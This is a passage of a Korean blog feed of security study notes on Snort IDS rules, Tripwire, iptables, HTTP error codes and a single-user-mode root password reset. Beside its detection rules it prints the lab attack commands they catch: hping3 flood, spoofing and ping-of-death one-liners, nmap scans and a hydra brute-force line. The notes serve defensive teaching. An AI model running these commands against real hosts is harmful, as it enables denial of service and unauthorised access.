<img src="https://velog.velcdn.com/images/dpwls_w/post/a4aa430b-b33d-4b45-bc90-1c68e0421d3b/image.png" alt=""></p>
<h1 id="4-싱글부트">4. 싱글부트</h1>
<ul>
<li><p>전원을 껐다가 킨 후 바로 ESC (아래 그림이 뜨기 전)
<img src="https://velog.velcdn.com/images/dpwls_w/post/0eac7377-45d5-4aac-9930-b611b1840825/image.png" alt=""></p>
</li>
<li><p>떠야하는 화면 -&gt; e
<img src="https://velog.velcdn.com/images/dpwls_w/post/8edfdf12-4cce-46bd-85d0-f77cc90fc3d6/image.png" alt=""></p>
</li>
<li><p>해당 부분을 지운 후 rw init=/bin/bash로 변경 -&gt; ctrl+x
<img src="https://velog.velcdn.com/images/dpwls_w/post/02a7a55e-67fe-464b-8b4c-fa5133fb9474/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/a250aba7-c0d9-4eb7-be15-98ae0d56b58a/image.png" alt=""></p>
</li>
<li><p>passwd 명령어를 통해 root 비밀번호 변경
<img src="https://velog.velcdn.com/images/dpwls_w/post/e7305b45-984e-4abd-96f5-761e285dee30/image.png" alt=""></p>
</li>
<li><p>3가지 파일 수정 (루트 로그인 허용) /저장명령어:wq
<img src="https://velog.velcdn.com/images/dpwls_w/post/4e592a80-bc53-4c55-9625-31a613e70621/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/7dfb9a5e-eaf7-4e55-82c9-52229679fd17/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/6131d476-6f11-43bd-bd04-adfa7f9f28cc/image.png" alt=""></p>
</li>
<li><p>수정 완료 후 <code>exec/sbin/init</code> (재부팅)</p>
</li>
<li><p>재부팅 완료 후 목록에 없습니까? 누른 후 사용자이름 : root로 로그인
<img src="https://velog.velcdn.com/images/dpwls_w/post/b2415a8a-8988-49a1-9990-7323f2a981c0/image.png" alt=""></p>
</li>
</ul>
<h1 id="5-네트워크-설정">5. 네트워크 설정</h1>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/f742cdbd-27ae-4734-8ce1-b02b7667c219/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/93ef77fd-fc40-4f05-89bd-bf443e35deb6/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/c81c8d89-b9e3-49d3-86bd-1e720e4455e9/image.png" alt=""></p>
<h1 id="6-한글화">6. 한글화</h1>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/f5282674-c38c-4195-bd7b-f3f3dd013d4c/image.png" alt=""><img src="https://velog.velcdn.com/images/dpwls_w/post/3ef28314-db05-4a5e-8fd4-fa636ac38498/image.png" alt="">![]<img src="https://velog.velcdn.com/images/dpwls_w/post/cf707a93-6578-4621-a5ca-a9e5f3937d34/image.png" alt="">
추가로 한영버튼을 눌러서(Alt_R로 뜸)을 넣은 후, 이외에 것은 제거 - 적용 - 확인 - 이후 재부팅</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[IDS, snort]]></title>
            <link>https://velog.io/@dpwls_w/IDS</link>
            <guid>https://velog.io/@dpwls_w/IDS</guid>
            <pubDate>Wed, 19 Jun 2024 01:36:59 GMT</pubDate>
            <description><![CDATA[<h1 id="ids">IDS</h1>
<p><img src="https://velog.velcdn.com/images/dpwls_w/post/a6edb353-f715-4c3c-92ca-96f91aa2663a/image.png" alt=""></p>
<ul>
<li>IDS (Intrusion Detection System)   침입 탐지 시스템<ul>
<li>시스템에 대한 원치 않은 조작을 탐지 → 내부 패킷을 주로 감지</li>
<li>설치 위치와 목적에 따라 호스트 기반과 네트워크 기반의 침입 탐지 시스템으로 나뉨</li>
<li>역할<ol>
<li>IPS를 우회하는 공격에 대한 탐지</li>
<li>내부 공격 및 보안 내용 탐지</li>
<li>제로데이 공격 유형 파악</li>
<li>오용 탐지</li>
</ol>
</li>
<li>장점<ul>
<li>해킹에 대한 좀 더 적극적인 보안대책</li>
<li>내부 사용자의 오남용 탐지 및 방어 가능</li>
<li>사고 발생시 근원지 및 사고 분석 가능</li>
</ul>
</li>
<li>단점<ul>
<li>대규모 네트워크에서는 사용이 어려움</li>
<li>관리 및 운영이 어려움</li>
<li>새로운 침입 기법에 즉각적인 차단 어려움</li>
<li>보안 사고에 대한 근본적인 해결책은 되지 못함</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="1-호스트-기반--hids--host-based-ids-">1. 호스트 기반 ( HIDS : Host-based IDS )</h2>
<ul>
<li>컴퓨터 시스템의 내부를 감시하고 분석하는 데 중점을 둠</li>
<li>개인의 work station, server에 설치될 수 있으며, 컴퓨터 자체를 제한</li>
<li>운영체제에 설치된 사용자 계정에 따라 어떤 사용자가 어떠한 접근을 시도하고 작업을 했는지에 대한 기록을 남기고 추적</li>
<li>네트워크에 대한 침입 탐지는 불가능하며, 스스로가 공격 대상이 될 때만 침입을 탐지하는 방식</li>
<li>트로이 목마, 논리 폭탄, 백도어 탐지</li>
<li>ex) Tripwire<h3 id="1-1-tripwire">1-1. Tripwire</h3>
</li>
<li>tripwire  무결성 점검도구 -&gt; 기존 데이터와 비교하여 변조된 내용 확인(모니터링 도구)</li>
<li>설치
yum install epel*
yum install tripwire</li>
</ul>
<p>-키세팅
tripwire-setup-keyfiles     &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;엔터엔터엔터
cat /etc/tripwire/twcfg.txt  -&gt; 키세팅 파일 생성</p>
<p>cd /etc/tripwire
cp twpol.txt twpol.txt.bak</p>
<p>vi twpol.txt</p>
<blockquote>
<p>/bin -&gt; $(ReadOnly);
/etc -&gt; $(IgnoreNone)-SHa;
/var -&gt; +pug;
/dev -&gt; +pug;
/back -&gt; +pug;</p>
</blockquote>
<blockquote>
<p>p 퍼미션
u uid
g gid</p>
</blockquote>
<ul>
<li><p>정책적용
twadmin --create-polfile twpol.txt</p>
</li>
<li><p>구동
tripwire --init</p>
</li>
<li><p>확인
tripwire --check
useradd korea
passwd [비번설정]
cp /backup/ping  /usr/bin/ping</p>
</li>
</ul>
<h2 id="2-네트워크-기반--nids--network-based-ids-">2. 네트워크 기반 ( NIDS : Network-based IDS )</h2>
<ul>
<li>네트워크를 통해 전송되는 패킷 정보 수집 및 분석하여 침입을 탐지하는 시스템</li>
<li>감지기를 사용하며, 무차별모드(Promiscuos mode)에서 동작하는 네트워크 인터페이스에 설치되어있음</li>
<li>IP 주소를 소유하지 않아 직접적인 해커 공격은 거의 완벽하게 방어 가능</li>
<li>설치 위치에 따라 감시 대상 네트워크 범위 조절 가능, 별도 서버를 스위치에 연결</li>
<li>공격 당한 시스템의 공격에 대한 결과는 알 수 없으며, 암호화된 내용 탐지 불가     ex) Snort</li>
</ul>
<h3 id="2-1-snort">2-1. Snort</h3>
<ul>
<li><p>무료 오픈 소스 네트워크 침입 탐지 시스템이자, 침입 방지 시스템으로 실시간으로 트래픽 분석 및 패킷을 기록 ( IDS &amp; IPS )</p>
</li>
<li><p>와이어샤크+ 필터</p>
<ul>
<li><p>패킷 스니퍼 모드</p>
<ul>
<li>Tcpdump와 같은 네트워크의 TCP/IP 패킷을 읽어 보여주는 기능</li>
</ul>
</li>
<li><p>패킷 로거 모드</p>
<ul>
<li>모니터링한 패킷을 저장하고 로그를 기록하는 기능</li>
<li>트래픽 디버깅에 매우 유용하게 사용</li>
</ul>
</li>
<li><p>네트워크 IDS 모드</p>
<ul>
<li>네트워크 트래픽(패킷) 분석 및 공격 탐지 기능을 제공</li>
</ul>
</li>
<li><p>Snort Inline</p>
<ul>
<li>침입방지시스템으로, 패킷 분석, 공격 차단 기능을 제공</li>
</ul>
</li>
<li><p>nc → 메세지 주고 받는 창 (간단한 실습)</p>
<p>  nc -l 8080</p>
<p>  nc 10.10.10.10 8080</p>
</li>
<li><p>시작 <code>snort -i ens33 -c local</code> 혹은 데몬 실행</p>
</li>
</ul>
<hr>
<ul>
<li><p>snort 정책</p>
<pre><code class="language-c">  alert icmp  any any &lt;&gt; 10.10.10.10 any (msg:&quot;ICMP PING&quot;;sid:50001;)
  alert tcp any any -&gt; 10.10.10.10 80 (msg:&quot;SEVAS_HTTP&quot;;sid:50002;)</code></pre>
<blockquote>
<p>[action]  [protocol]  [src_ip] [src_port]  -&gt; [Dst_ip] [Dst_port] [option]</p>
<p>액션                action     : alert , pass ,drop , reject ,log
프로토콜        protocol     : TCP,UDP , IP , ICMP
출발지 IP        Src_ip         :  any , 10.10.10.10 , 10.10.10.0/24   !
출발지 port    src_port    : any , 22, 80 ,......   !  , : (1:1000)
패킷 흐름 방향            :  -&gt; , &lt;&gt;
도착지 IP        Dst_ip    :  any , 10.10.10.10 , 10.10.10.0/24
도착지 port    Dst_port    : any , 22, 80 ,......
침입 탐지 옵션 option    : msg  ,content ,flow , rev......</p>
</blockquote>
<ul>
<li><p>src → <strong>공격자</strong>의 출발지를 ip 추적하고 싶을때 유용</p>
</li>
<li><p>dst → (여러 ip로 부터)공격 받고 있는 대상 서버나 네트워크를 <strong>보호</strong>하고자 할 때 유용</p>
<blockquote>
<p>rev  : 규칙 수정버전
classtype : 유형별 정의
priority : 우선순위
reference : url로 정책 정의</p>
</blockquote>
</li>
<li><p>옵션 (  &lt;&gt;  양방향   |  -&gt; 단방향  &lt;- )   → 오탐 (IPS에서 중요), 미탐 방지 (IDS에서 중요)</p>
<ul>
<li>content   글자를 잡아낸다    ex) content:&quot;sevas&quot;;  → 16진수의 경우 “| |” 로 감싸야함</li>
<li>msg         메세지 내용 출력  ex) msg:&quot;메롱&quot;;</li>
<li>nocase    대소문자를 구분하지 않는다  ex) nocase;</li>
<li>sid           규칙 식별자(정책 순서 지정)        ex) dis:50005;</li>
<li>offset      매칭 시작 문자열 위치              0으로 설정 시 1부터 검색</li>
<li>depth     문자열 범위를 지정                   0으로 설정 시 1부터 검색</li>
<li>distance 옵션 값 이후 탐색 위치 지정 (이후)  ex) content:”abc”; content:”test”; distance: 10;</li>
<li>within     옵션 값 이후 탐색 범위 지정 (이내) (distance, offset, depth)<ul>
<li>abc  |  within  (이내) 10 (이후)  distance  |</li>
</ul>
</li>
<li>pcre       문자열 (URL 검사)<ul>
<li>정책 예시<ul>
<li>depth , offset  → 123문자가 들어간 내용이 4바이트 이후부터 7바이트안에 존재하는지 알림
  <code>alert tcp 20.20.20.20 any -&gt;  10.10.10.10 8080 (msg:&quot;depth_TEST&quot;; content:&quot;123&quot;;offset:4; depth:7; sid:50008;)</code></li>
<li>distance
  <code>alert tcp 20.20.20.20 any -&gt;  10.10.10.10 8080 (msg:&quot;distance_TEST&quot;; content:&quot;abc&quot;; content:&quot;test&quot;; distance:10; sid:50009;)</code></li>
<li>within
  <code>alert tcp 20.20.20.20 any -&gt;  10.10.10.10 8080 (msg:&quot;within_TEST&quot;; content:&quot;abc&quot;; content:&quot;test&quot;; within:10; sid:50009;)</code></li>
<li>pcre
  <code>alert tcp 10.10.10.0/24 any -&gt;  any 443 (msg:&quot;SNS_ACCESS&quot;; pcre:&quot;/facebook.com|instargram.com/&quot;; sid:50010;)</code></li>
<li>telnet → 문구가 다르게 나오는 것을 와이어샤크로 확인 후 content로 작성
  <code>alert tcp 10.10.10.10 23 -&gt; any any (msg:&quot;Telnet OK&quot;; content:&quot;|6c617374206c6f67696e|&quot;; nocase; sid:50007;)</code>
  <code>alert tcp 10.10.10.10 23 -&gt; any any (msg:&quot;Telnet Fail&quot;; content:&quot;|4c 6f 67 69 6e 20 69 6e 63 6f 72 72 65 63 74|&quot;; nocase; sid:50006;)</code></li>
<li>ICMP 20 →10 으로 ping
  <code>alert icmp 20.20.20.20 any -&gt; 10.10.10.10 any (msg:&quot;REQUEST_ICMP&quot;; itype:8; sid:50011;)</code>
  <code>alert icmp 10.10.10.10 any -&gt; 20.20.20.20 any (msg:&quot;REPLY_ICMP&quot;; itype:0; sid:50012;)</code></li>
<li>threshold (5개마다 탐지)
  <code>alert icmp any any -&gt; 10.10.10.10 any (msg:”THRESHOLD”; threshold: type threshold, track by_src, count 5, seconds 10; sid: 50013;)</code></li>
<li>limit (5개까지 탐지)
  <code>alert icmp any any -&gt; 10.10.10.10 any (msg:”limit”; threshold: type  limit , track by_src, count 5, seconds 10; sid: 50013;)</code></li>
<li>both (1개만 탐지)
  <code>alert icmp any any -&gt; 10.10.10.10 any (msg:”limit”; threshold: type  limit , track by_src, count 5, seconds 10; sid: 50013;)</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>http에서 <code>&lt;script&gt;</code> 잡아내기
<code>alert tcp any any -&gt;  10.10.10.10 80 (msg:&quot;XSS_ATTACK(http)&quot;; content:&quot;|253343736372697074253345|&quot;; nocase; sid:50005;)</code></p>
</li>
</ul>
<ul>
<li><p>간격 DOS&amp;NMAP 탐지</p>
<ul>
<li>threshold   (이벤트 탐지 옵션)     ex) threshold: type threshold, track by_src…<pre><code>      - type threshold : 발생하는 이벤트 수마다 탐지
      - type limit        : 시간 동안 발생하는 이벤트 수까지 탐지
      - **type both**        : 시간 동안 발생하는 이벤트 수 중 1번만 탐지
          - track by_src   : 출발지 기준
          - track by_dst   : 목적지 기준
          - count            : 횟수
          - seconds        : 시간
          - itype             : 0 = reply   8 =request</code></pre></li>
</ul>
</li>
<li><p>TCP Flags → 4 계층</p>
<blockquote>
<p>SYN 연결
ACK 응답
RST  재시작 (강제 종료)
FIN 종료
URG 긴급          → 순위 상승
PSH 우선순위  → 순위 상승
NULL flag X</p>
<blockquote>
<p>flags : S R A P U F
fragsbits: R D M    ( R:예약 D:분할X M:분할 )
sameip  :  출발지와 도착지 IP가 같을 경우 탐지</p>
</blockquote>
</blockquote>
</li>
</ul>
<ul>
<li>공격 탐지<pre><code>      1. ping of death 탐지 [ 단편화가 되고 파일이 일정시간 이상 들어올때 차단 ] ( hping3 --icmp -d 40000 10.10.10.10 --flood)     (프로토콜이 IPv4이기에 IP O, ICMP X)
          `alert  ip any any -&gt; 10.10.10.10 any (msg:&quot;PING_OF_DEATH&quot;;threshold:type both,track by_src,count 50, seconds 10; fragbits:M;sid:50012;)`</code></pre></li>
</ul>
<ol start="2">
<li><p>Land attack [출발지와 도착지 IP가 같은 경우 탐지 ] ( hping3 --icmp -a 10.10.10.10 10.10.10.10 --flood ) </p>
<pre><code>         1. 사전 설정(보안해제) : cd /proc/sys/net/ipv4/conf
         2. echo “0” &gt; all/rp_filter
         3. `alert icmp any any -&gt; 10.10.10.10 any (sid:50013; msg:&quot;LAND attack&quot;;sameip;threshold:type both,track by_src,count 20,seconds 10;)`</code></pre><ol start="3">
<li>smuf_attack   [hping3 -1 -a 30.30.30.30  10.10.10.255 --flood )   = 라우터에서 ip direct broadcast  / 리눅스에서 /proc/sys/net/ipv4/icmp_echo_ignore_boradcast]<pre><code>      `alert icmp any any -&gt; 255.255.255.255 any (msg:&quot;Smuf attack&quot;;itype:8; threshold type both,track by_dst,count 20,seconds 10; sid 50014;)`</code></pre></li>
</ol>
</li>
<li><p>TCP_SYN_FLOODING</p>
<pre><code>     `alert tcp  any any -&gt; 10.10.10.10 80 (sid:50015; msg:&quot;TCP_SYN_FLOODING&quot;; flags:S; threshold:type both,track by_dst,count 20,seconds 10;)`
     hping3 --rand-source 10.10.10.10 -p 80 -S --flood</code></pre><ol start="5">
<li>TCP_Connect_FLOODING
<code>alert tcp  any any -&gt; 10.10.10.10 80 (sid:50016; msg:&quot;TCP_Connect_FLOODING&quot;; flags:A; threshold:type both,track by_src,count 20,seconds 10;)</code><pre><code>  nping --tcp-connect -p 80 -rate=90000 -c 90000 -q 10.10.10.10</code></pre></li>
</ol>
</li>
<li><p>UDP_FOODING</p>
<pre><code>     `alert udp  !10.10.10.10 any -&gt; 10.10.10.10 any (sid:50017; msg:&quot;UDP_FLOODING&quot;; threshold:type both,track by_src,count 20,seconds 10;)`
     hping3 -2 10.10.10.10 --flood</code></pre></li>
</ol>
<ul>
<li>웹 공격<ul>
<li>웹공격 IDS: 웹은 대부분 시그니처 공격으로 되기때문에   pcre , content 를 사용해서 필터링을 함</li>
<li>웹사이트 SNS 접속 확인<pre><code>      `alert tcp 10.10.10.10 any -&gt; any 443 (msg:&quot;SNS_ACCESS&quot;;pcre:&quot;/facebook.com|[instagram.com/](http://instagram.com/)&quot;; sid:50040;)`</code></pre><ul>
<li>SQL_injection 확인 - 게시판 board_view.php 기준
<code>alert tcp any any -&gt; 10.10.10.10 80 (msg:&quot;sql_injection&quot;;pcre:&quot;/UNION|SELECT|OR|%27|%23/i&quot;;content:&quot;board_view.php&quot;; sid:50041;)</code></li>
</ul>
</li>
<li>xxs 확인 <pre><code>  `alert tcp any any -&gt; 10.10.10.10 80 (msg:&quot;xss_attack&quot;;content:&quot;script&quot;;nocase; sid:50042;)`</code></pre></li>
</ul>
</li>
</ul>
<ul>
<li>스캔 관련 룰<pre><code>      1. X-MAS → nmap -sX 10.10.10.10
      `alert tcp !10.10.10.10 any -&gt; 10.10.10.10 any (msg:&quot;X-MAS SCAN -sX&quot;;flags:UPF; threshold:type both,track by_src,count 20,seconds 10; sid:50020;)`
      2. FIN SCAN → nmap -sF 10.10.10.10
      `alert tcp !10.10.10.10 any -&gt; 10.10.10.10 any (msg:&quot;FIN SCAN -sF&quot;;flags:F; threshold:type both,track by_src,count 20,seconds 10; sid:50021;)`
      3. SYN SCAN → nmap -sS 10.10.10.10
      `alert tcp !10.10.10.10 any -&gt; 10.10.10.10 any (msg:&quot;SYN SCAN -sS&quot;; flags:S; threshold:type both,track by_src,count 20,seconds 10; sid:50022;)`
      4. NULL SCAN → nmap -sN 10.10.10.10
      `alert tcp !10.10.10.10 any -&gt; 10.10.10.10 any (msg:&quot;NULL SCAN -sN&quot;; flags:0; threshold:type both,track by_src,count 20,seconds 10; sid:50023;)`
  - ssh 에 hydra 로 brute force 공격을 차단하는 정책
  `alert tcp any any -&gt; 10.10.10.10 22(sid:50050; msg:&quot;SSH_Brute Force&quot;; threshold:type both,track by_src,count 10,seconds 10; flags:S;)`
      hydra -l sevas -x 1:1:1a! ftp://192.168.1.10 -V</code></pre></li>
</ul>
<p>16진수 변환 사이트: <a href="https://www.hextotext.com/kr/convert-hex-to-text">https://www.hextotext.com/kr/convert-hex-to-text</a> 0</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[웹 에러코드]]></title>
            <link>https://velog.io/@dpwls_w/%EC%9B%B9-%EC%97%90%EB%9F%AC%EC%BD%94%EB%93%9C</link>
            <guid>https://velog.io/@dpwls_w/%EC%9B%B9-%EC%97%90%EB%9F%AC%EC%BD%94%EB%93%9C</guid>
            <pubDate>Tue, 18 Jun 2024 08:27:09 GMT</pubDate>
            <description><![CDATA[<ul>
<li>웹 에러코드<ul>
<li>200 번대 응답(Response) : 성공(Success)<ul>
<li>200 OK - 요청 정상 처리</li>
<li>204 - No Content<ul>
<li>요청 정상 처리하였지만, 돌려줄 리소스 없음</li>
<li>응답에 어떠한 엔티티 바디(Entity Body)도 포함하지 않음</li>
<li>서버에서 처리 후, 클라이언트에 정보를 보낼 필요가 없는 경우 사용</li>
</ul>
</li>
<li>206 - Partial Content<ul>
<li>Range가 지정된 요청인 경우, 지정된 범위만큼의 요청을 받았다는 것을 알려줌</li>
</ul>
</li>
</ul>
</li>
<li>300 번대 응답(Response) : 리디렉션(Redirection)<ul>
<li>301 - Moved Permanently<ul>
<li>요청된 리소스에는 새로운 URI가 지정되어 있기 때문에, 이후로는 새 URI를 사용해야 한다는 것을 나타냄 (영구적인 URI 변경)</li>
</ul>
</li>
<li>302 - Found<ul>
<li>요청된 리소스에는 새로운 URI가 지정되어 있기 때문에, 이후로는 새 URI를 사용해야 한 다는 것을 나타냄. 301과 유사하지만, 302는 일시적인 URI 이동)</li>
</ul>
</li>
<li>303 - See Other<ul>
<li>이 응답은 요청에 대한 리소스는 다른 URI에 있기 때문에 GET 메서드를 사용해서 얻어야 한다는 것을 나타냄. 302 코드와 같지만, 303은 리디렉션 위치를 GET 메서드를 통해 얻어야 한다고 명확하게 되어 있음</li>
</ul>
</li>
<li>304 - Not Modified<ul>
<li>요청한 리소스가 마지막 요청 이후 변경된 적이 없기 때문에 기존 클라이언트의 로컬 캐시 리소스를 사용하도록 알려줌</li>
<li>300번대로 분류되어 있지만, 리디렉션과는 관계없는 처리를 함.</li>
</ul>
</li>
<li>307 - Temporary Redirect<ul>
<li>임시로 페이지를 리다이렉트 함.</li>
</ul>
</li>
</ul>
</li>
<li>400 번대 응답(Response) : 클라이언트 에러 (Client Error)<ul>
<li>400 - Bad Request<ul>
<li>클라이언트의 요청 구문이 잘못됨.</li>
<li>브라우저는 이 응답을 200 OK 응답과 동일한 형태로 취급함.</li>
</ul>
</li>
<li>401 - Unauthorized<ul>
<li>요청 처리를 위해 HTTP 인증(BASIC 인증, DIGEST 인증) 정보가 필요함을 알려줌</li>
<li>접근 허용을 차단함. 최초 요청에는 인증 다이얼로그 표시하고, 두번째는 인증 실패 응답을 보냄</li>
</ul>
</li>
<li>403 - Forbidden<ul>
<li>접근 금지 응답. Directory Listing 요청(서버 파일 디렉토리 목록 표시) 및 관리자 페이지 접근 등을 차단하는 경우의 응답 (파일 시스템 퍼미션 거부, 허가 되지 않은 IP 주소를 통한 액세스의 거부 등)</li>
<li>서버는 엔티티 바디에 접근 거부에 대한 이유를 명시하여 보낼 수 있음</li>
</ul>
</li>
<li>404 - Not Found<ul>
<li>클라이언트가 요청한 리소스가 서버에 없음</li>
</ul>
</li>
<li>405 - Mothod Not Allowed<ul>
<li>허용되지 않는 HTTP 메서드를 사용</li>
</ul>
</li>
</ul>
</li>
<li>500 번대 응답(Response) : 서버 에러 (Server Error)<ul>
<li>500 - Internal Server Error<ul>
<li>서버에서 클라이언트 요청을 처리 중에 에러가 발생</li>
</ul>
</li>
<li>503 - Service Unavailable<ul>
<li>서버가 일시적으로 요청을 처리할 수 없음</li>
<li>서버가 과부하 상태이거나 점검중이므로 요청을 처리할 수 없음을 알려줌</li>
</ul>
</li>
<li>504 -  Gateway Timeout<ul>
<li>서버를 통하는 게이트웨이에 문제가 발생하여 시간이 초과됨</li>
</ul>
</li>
<li>505 - HTTP Version Not Supported<ul>
<li>해당 HTTP 버전에서는 지원되지 않는 요청임을 알려줌</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[IPTABLE]]></title>
            <link>https://velog.io/@dpwls_w/IPTABLE</link>
            <guid>https://velog.io/@dpwls_w/IPTABLE</guid>
            <pubDate>Tue, 18 Jun 2024 00:26:18 GMT</pubDate>
            <description><![CDATA[<h1 id="iptable">IPTABLE</h1>
<ul>
<li><p>IPS: 탐지, 차단은 선택/IDS: 탐지 중점, 차단 가능은 함</p>
<ul>
<li>방화벽: 3,4 혹은 7계층까지 가능. but 특화된 것도 없어서 전문적 차단은 어려움 그래서 IPS 사용</li>
</ul>
</li>
<li><p>기본 개념</p>
<ul>
<li><p>기능</p>
<ol>
<li>패킷필터링 ( netfilter )</li>
<li>로그기능 ( logging )</li>
<li>NAT ( SNAT/DNAT=포트포워딩 )</li>
<li>확장 기능 (다양한 모듈 = mangle )</li>
</ol>
</li>
<li><p>INPUT  : 도착지가 IPTABLE인 패킷 - 10 -&gt; IPTABLE</p>
</li>
<li><p>OUTPUT  :  출발지가 IPTABLE인 패킷 - IPTABLE -&gt; 10</p>
</li>
<li><p>FORWARD  : 경유지(via)가  IPTABLE인 패킷 - 10 -&gt;20</p>
</li>
<li><p>INPUT, FORWARD, OUTPUT 셋 다 별개의 정책이자 개념</p>
<ul>
<li>iptable 입장에서는 서버는 나에게 주는 놈(IN), 클라이언트는 내가 줘야하는 놈(OUT)</li>
<li>밖에서 안으로 들어오는 건 IN, 내부를 통해서 나가는 건 OUT으로 잡아야 함 / 내부는 자유롭게 돌아다니기에..</li>
</ul>
</li>
<li><p><strong>IPTABLES 적용 순서: 먼저 적용된 것이 무조건 우선</strong></p>
</li>
<li><p>생각을 할 때 ip 기준에서 x, iptable 입장에서 고려</p>
</li>
<li><p>정책은 반드시 하나는 거쳐야 함, 아닐 시 drop</p>
</li>
</ul>
</li>
<li><p>기본 정책</p>
<blockquote>
<p>:INPUT ACCEPT [0:0]
  :FORWARD ACCEPT [0:0]
  :OUTPUT ACCEPT [0:0]</p>
</blockquote>
<ul>
<li>ACCEPT : 허가 → 디폴트</li>
<li><strong>REJECT</strong> : 반송</li>
<li><strong>DROP</strong> : 폐기 → 주로 쓰임</li>
<li>LOG : 로그기록</li>
<li>RETURN : 룰 연계</li>
</ul>
</li>
<li><p>iptables 룰</p>
<ul>
<li><p>-A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT</p>
<ul>
<li>내부로 접근하는 tcp 중 (- A INPUT -p tcp )</li>
<li>새로운 연결을 요청하는 (-m state --state NEW )</li>
<li>도착 포트 22/tcp 허가 (-m tcp --dport22 -j ACCEPT )</li>
</ul>
</li>
<li><p>룰 정책 - first</p>
<ul>
<li>룰의 순서 중요<ul>
<li><strong>-A (--append</strong>) : 규칙 추가</li>
<li><strong>-P (--policy)</strong> : 기본 정책 변경</li>
<li><strong>-F (--flush)</strong> : chain으로부터 규칙 모두 삭제</li>
<li>-D (--delete) : 규칙을 삭제<ul>
<li>iptables -D FORWARD 1</li>
<li>정책 삭제 시 한칸씩 당겨짐</li>
</ul>
</li>
<li>-C (--check) : 패킷 테스트</li>
<li>-R (--replace) : 새로운 규칙으로 교체</li>
<li>-I (--insert) : 새로운 규칙 삽입</li>
<li>-L (--list) :  규칙 출력<ul>
<li>자세히보기: iptables -L -v --line</li>
</ul>
</li>
<li>-Z (--zero) : 모든 chain의 패킷과 바이트 카운터 값을 0으로 만듬</li>
<li>-N (--new) : 새로운 chain 생성</li>
<li>-X (--delete-chain) : chain 삭제</li>
</ul>
</li>
</ul>
</li>
<li><p>장치 및 상태 옵션</p>
<ul>
<li><p><strong>-s (--source ) : 출발지 IP주소/네트워크</strong></p>
</li>
<li><p><strong>-d (--destination) : 목적지 IP주소/네트워크</strong></p>
</li>
<li><p><strong>-p (--protocol) : 프로토콜</strong></p>
</li>
<li><p>패킷 볼 때 중요: 출발지, 목적지, 프로토콜</p>
</li>
<li><p>장치</p>
<ul>
<li>-i (--in-interface)    : 입력 장치 (내부 장치)</li>
<li>-o (--out-interface) : 출력 장치 (외부 장치)</li>
</ul>
</li>
<li><p>모듈</p>
<ul>
<li><p><strong>-m (--match) 특정 모듈</strong></p>
<ul>
<li>-m tcp    --dport<pre><code>          --sport</code></pre></li>
</ul>
</li>
<li><p>--state : 연결 상태</p>
<blockquote>
<p><strong>ESTABLISHED : 연결이 되어있는 패킷</strong> 
  NEW : 새로운 연결을 요청하는 패킷
  RELATED : 기존 연결 이외 다른 새로운 연결 요청 (ex: FTP데이터 전송포트(20/tcp)를 다른 포트로 사용하고자할때 / 꺼지기 전까지는 연결된 상태 유지)
  INVALID : 어디에도 속하지 않은 패킷</p>
</blockquote>
</li>
<li><p><strong>--j (--jump): 규칙 적용</strong></p>
</li>
<li><p>--reject-with icmp-host-prohibited : 거부하고 ICMP를 금지 ⇒ 다른 호스트로 보내는 ICMP를 허가 X</p>
<ul>
<li>-A INPUT -j REJECT --reject-with icmp-host-prohibited</li>
<li>-A FORWARD -j REJECT --reject-with icmp-host-prohibited</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>백업 : iptables-save &gt; /backup/ip.bak</p>
</li>
<li><p>초기화 : iptables -F → service iptables-save  (저장) → service iptables restart (적용)</p>
</li>
<li><p>복구 : iptables-restore  /backup/ip.bak</p>
</li>
<li><p>정책 enum확인 : iptables -L INPUT --line</p>
</li>
<li><p>내부 핑 허용 <code>iptables -A INPUT -i lo -j ACCEPT</code></p>
</li>
<li><p>ssh 접속을 위한 옵션  <code>iptables -A INPUT -p tcp --dport 22 -j ACCEPT</code></p>
</li>
<li><p>예제 1. 도착지 X 출발지 패킷만 허용</p>
<p>  iptables -A FORWARD -s 10.10.10.10 -p icmp -j ACCEPT
  iptables -A FORWARD -s 20.20.20.20 -p icmp -j ACCEPT</p>
<p>  icmp 는 request:8</p>
<p>  reply:0</p>
<ul>
<li>--icmp-type 8</li>
<li>-icmp-type 0
칼리에서 서버 ping X
서버에서 칼리로 ping O</li>
<li>iptables -A FORWARD -s 10.10.10.10 -p icmp -m icmp --icmp-type 8 -j ACCEPT
iptables -A FORWARD -s 20.20.20.20 -p icmp  -j ACCEPT
(iptables -A FORWARD -s 20.20.20.20 -p icmp --icmp-type 0  -j ACCEPT)
service iptables save
service iptables restart</li>
</ul>
</li>
<li><p>네트워크 대역 허용</p>
<p>  iptables -A FORWARD -s 10.10.10.0/24 -p icmp -j ACCEPT
  iptables -A FORWARD -s 20.20.20.0/24 -p icmp -j ACCEPT</p>
</li>
<li><p>인터페이스 허용 (모든 포트 개방)</p>
<ol>
<li>내부로 연결 허용 (icmp)
iptables -A INPUT -i lo -p icmp -j ACCEPT</li>
<li>외부
iptables -A FORWARD -i ens36 -j ACCEPT
iptables -A FORWARD -o ens36 -j ACCEPT</li>
<li>interface &gt; ip &gt; 포트 (icmp,tcp,udp)  &gt;  -m 모듈</li>
</ol>
</li>
</ul>
<ul>
<li><p>예제</p>
<ul>
<li>전제<ul>
<li>기본정책   INPUT= DROP  OUTPUT,FORWARD= ACCEPT</li>
<li>내부로 icmp 허용</li>
<li>ssh 접속 가능</li>
<li>칼리와 서버는  IPTABLE로  PING 금지 (기본값)</li>
<li>IPTABLES 는 칼리 서버 PING 가능   (기본값)</li>
<li>서버는 칼리로 PING 가능  (서버: 10/ 칼리: 20 )</li>
<li>칼리는 서버로 PING 불가</li>
</ul>
</li>
<li>답<ul>
<li>iptables -P INPUT DROP
